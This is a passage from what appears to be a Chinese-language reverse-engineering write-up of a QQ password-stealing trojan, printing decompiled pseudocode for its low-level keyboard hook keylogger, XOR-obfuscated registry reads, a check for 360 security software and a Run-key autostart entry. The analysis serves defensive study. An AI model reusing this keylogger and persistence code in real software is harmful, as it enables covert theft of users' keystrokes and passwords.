0x10000; } while ( (unsigned int)lpBaseAddress < 0x7000000 ); CloseHandle(hProcess); } SetTimer(hWnd, 1u, 0x64u, 0); } } } } else if ( Msg == 1124 ) { v5 = GetModuleHandleA(0); hhk = SetWindowsHookExA(13, fn, v5, 0); // 设置窗口Hook } else if ( Msg != 1224 && Msg == 1324 ) { LABEL_6: PostQuitMessage(0); return 0; } return DefWindowProcA(hWnd, Msg, wParam, lParam); } |
键盘key监控部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 |
LRESULT __stdcall fn(int code, WPARAM wParam, LPARAM lParam) { LPARAM v3; // ebx@3 unsigned int v4; // esi@6 int v5; // ST28_4@8 size_t v6; // eax@8 int shift; // esi@9 int capslk; // edi@9 char v9; // al@26 int v10; // eax@64 int v11; // eax@66 int v12; // eax@67 int v13; // eax@68 int v14; // eax@72 int v15; // eax@73 int v16; // eax@74 int v18; // [sp-Ch] [bp-248h]@2 signed int v19; // [sp-8h] [bp-244h]@2 LPARAM v20; // [sp-4h] [bp-240h]@2 char Str[512]; // [sp+Ch] [bp-230h]@8 struct _SYSTEMTIME SystemTime; // [sp+20Ch] [bp-30h]@8 char Dst; // [sp+21Ch] [bp-20h]@9 if ( code ) { v20 = lParam; v19 = wParam; v18 = code; return CallNextHookEx(0, v18, v19, v20); } v3 = lParam; if ( wParam == 256 ) { // 判断时间是否需要记录 if ( (signed int)(GetTickCount() - *(_DWORD *)(v3 + 12)) > 100 || (signed int)(GetTickCount() - *(_DWORD *)(v3 + 12)) < -100 ) { v20 = v3; v19 = 256; v18 = 0; return CallNextHookEx(0, v18, v19, v20); } HIWORD(v4) = 0; code = (int)GetForegroundWindow(); memset(String, 0, 0x80u); GetWindowTextA((HWND)code, String, 128); if ( code || strcmp(::Dst, String) ) { GetLocalTime(&SystemTime); wsprintfA( Str, "\r\n%d-%d-%d %d:%d'%d\" ", SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); memset(::Dst, 0, 0x80u); v4 = code; GetWindowTextA((HWND)code, ::Dst, 128); v5 = 512 - strlen(Str); v6 = strlen(Str); GetWindowTextA((HWND)v4, &Str[v6], v5); strcat(Str, "\r\n"); dword_1001E670 = v4; infoGetAndSave0(); } memset(&Dst, 0, 0x20u); LOWORD(v4) = GetKeyState(16); shift = (v4 >> 15) & 1; capslk = GetKeyState(20) & 1; switch ( *(_DWORD *)lParam ) { case 8: case 9: case 0xC: case 0xD: case 0x12: case 0x13: case 0x14: case 0x1B: case 0x20: case 0x21: case 0x22: case 0x23: case 0x24: case 0x25: case 0x26: case 0x27: case 0x28: case 0x29: case 0x2A: case 0x2B: case 0x2C: case 0x2D: case 0x2E: case 0x2F: case 0x5B: case 0x5C: case 0x5D: case 0x5F: case 0x6C: case 0x6E: case 0x70: case 0x71: case 0x72: case 0x73: case 0x74: case 0x75: case 0x76: case 0x77: case 0x78: case 0x79: case 0x7A: case 0x7B: case 0x90: case 0x91: case 0x10: case 0xA0: case 0xA1: case 0x11: case 0xA2: case 0xA3: case 0xA4: case 0xA5: case 0xA6: case 0xA7: case 0xA8: case 0xA9: case 0xAA: case 0xAB: case 0xAC: case 0xAD: case 0xAE: case 0xAF: case 0xB0: case 0xB1: case 0xB2: case 0xB3: case 0xB4: case 0xB5: case 0xB6: case 0xB7: case 0x6B: case 0x6D: case 0x6F: case 0xFE: case 0xBC: case 0xBD: case 0xBE: case 0xBF: case 0xC0: case 0xDB: case 0xDC: case 0xDD: case 0xDE: case 0xBB: break; case 0x60: strcpy(&Dst, "0"); goto LABEL_20; case 0x61: strcpy(&Dst, "1"); goto LABEL_20; case 0x62: strcpy(&Dst, "2"); goto LABEL_20; case 0x63: strcpy(&Dst, "3"); goto LABEL_20; case 0x64: strcpy(&Dst, "4"); goto LABEL_20; case 0x65: strcpy(&Dst, "5"); goto LABEL_20; case 0x66: strcpy(&Dst, "6"); goto LABEL_20; case 0x67: strcpy(&Dst, "7"); goto LABEL_20; case 0x68: strcpy(&Dst, "8"); goto LABEL_20; case 0x69: strcpy(&Dst, "9"); LABEL_20: infoGetAndSave0(); goto LABEL_77; case 0x6A: shift; break; case 0xBA: !shift; break; default: v9 = tolower(*(_DWORD *)lParam); if ( v9 > 'z' || v9 < 'a' ) { switch ( v9 ) { case '0': if ( shift ) v9 = ')'; break; case '1': if ( shift ) v9 = '!'; break; case '2': if ( shift ) v9 = '@'; break; case '3': if ( shift ) v9 = '#'; break; case '4': if ( shift ) v9 = '$'; break; case '5': if ( shift ) v9 = '%'; break; case '6': if ( shift ) v9 = '^'; break; case '7': if ( shift ) v9 = '&'; break; case '8': if ( shift ) v9 = '*'; break; default: if ( v9 == '9' && shift ) v9 = '('; break; } } else if ( shift ^ capslk ) { v9 -= 32; } HIWORD(code) = (unsigned __int8)v9; break; } LABEL_76: infoGetAndSave0(); goto LABEL_77; } if ( wParam == 257 ) { v10 = *(_DWORD *)lParam; if ( *(_DWORD *)lParam > 0x5Cu ) { v14 = v10 - 160; if ( v14 ) { v15 = v14 - 1; if ( v15 ) { v16 = v15 - 1; if ( v16 ) { if ( v16 != 1 ) goto LABEL_77; } } } } else if ( *(_DWORD *)lParam != 92 ) { v11 = v10 - 16; if ( v11 ) { v12 = v11 - 1; if ( v12 ) { v13 = v12 - 1; if ( v13 ) { if ( v13 != 73 ) goto LABEL_77; } } } } goto LABEL_76; } LABEL_77: v20 = lParam; v19 = wParam; v18 = 0; return CallNextHookEx(0, v18, v19, v20); } |
注册表数据提取以及设置开机自启动:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 |
char __thiscall GetRegDataAndSetStart(char *this) { LSTATUS v1; // eax@4 HANDLE v2; // eax@12 char Dst; // [sp+Ch] [bp-420h]@13 CHAR Filename; // [sp+110h] [bp-31Ch]@9 char v6; // [sp+111h] [bp-31Bh]@9 __int16 v7; // [sp+211h] [bp-21Bh]@9 char v8; // [sp+213h] [bp-219h]@9 CHAR pszPath; // [sp+214h] [bp-218h]@8 char v10; // [sp+215h] [bp-217h]@8 __int16 v11; // [sp+315h] [bp-117h]@8 char v12; // [sp+317h] [bp-115h]@8 char pvData; // [sp+318h] [bp-114h]@4 DWORD v14; // [sp+41Ch] [bp-10h]@1 DWORD cbData; // [sp+420h] [bp-Ch]@1 DWORD pcbData; // [sp+424h] [bp-8h]@3 DWORD pdwType; // [sp+428h] [bp-4h]@3 cbData = (DWORD)this; v14 = (DWORD)(this + 1696); if ( StrStrIA(this + 1696, "fxsst.dll") ) { dword_100020D8 = 0; return 0; } pcbData = 260; pdwType = 3; if ( (unsigned __int8)GetVersion() == 9 ) { pdwType = 3; pcbData = 260; v1 = SHGetValueA( HKEY_CURRENT_USER, // 此处的注册表位置信息还没解密,运行时解密xor 0x58 "\v7>,/9*=\x04*9*XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "e", &pdwType, &pvData, &pcbData); goto LABEL_7; } if ( SHGetValueA( HKEY_LOCAL_MACHINE, "\v7>,/9*=\x04*9*XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "e", &pdwType, &pvData, &pcbData) ) { pdwType = 3; pcbData = 260; v1 = SHGetValueA( HKEY_CURRENT_USER, "\v7>,/9*=\x04*9*XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "e", &pdwType, &pvData, &pcbData); LABEL_7: if ( v1 ) return 0; } sub_10010DCB(&pvData, 260); strcpy((char *)(cbData + 1072), &pvData); pszPath = 0; memset(&v10, 0, 0x100u); v11 = 0; v12 = 0; SHGetSpecialFolderPathA(0, &pszPath, 26, 0); strcat(&pszPath, "\\360\\Live360.exe"); if ( !(unsigned __int8)sub_10010D90(&pszPath) ) { if ( !StrStrIA(&pvData, "IECHEC") && !StrStrIA(&pvData, "Live360") ) { v2 = CreateFileA(&pvData, 0x80000000, 7u, 0, 3u, 0x80u, 0); if ( v2 != (HANDLE)-1 ) // 主文件是否存在 { CloseHandle(v2); memset(&Dst, 0, 0x104u); SHGetSpecialFolderPathA(0, &Dst, 7, 0); strcat(&Dst, "\\LiveUpdate.lnk"); if ( (unsigned __int8)sub_10010D90(&Dst) )// 创建快捷方式 return 0; if ( !StrStrIA(v14, ".dll") ) return 1; memset(&Filename, 0, 0x104u); GetModuleFileNameA(0, &Filename, 0x104u); if ( !StrStrIA(&Filename, "svchost.exe") ) return 1; } } dword_100020D8 = 0; return 0; } Filename = 0; memset(&v6, 0, 0x100u); v7 = 0; v8 = 0; v14 = 1; cbData = 256; // 设置开机启动注册表项 SHGetValueA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "UKey", &v14, &Filename, &cbData); SHSetValueA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "UKey", 1u, &pszPath, cbData); return 0; } |
到此该qq木马文件就分析完了,木马程序的隐藏之深不得不让人叹服啊,为了躲避杀软件查杀,采用了系统进程注入、注册表储存数据、动态内存加载dll等方法,而且过程中的数据传递都是加密的。总之,使用软件需慎行。
makings: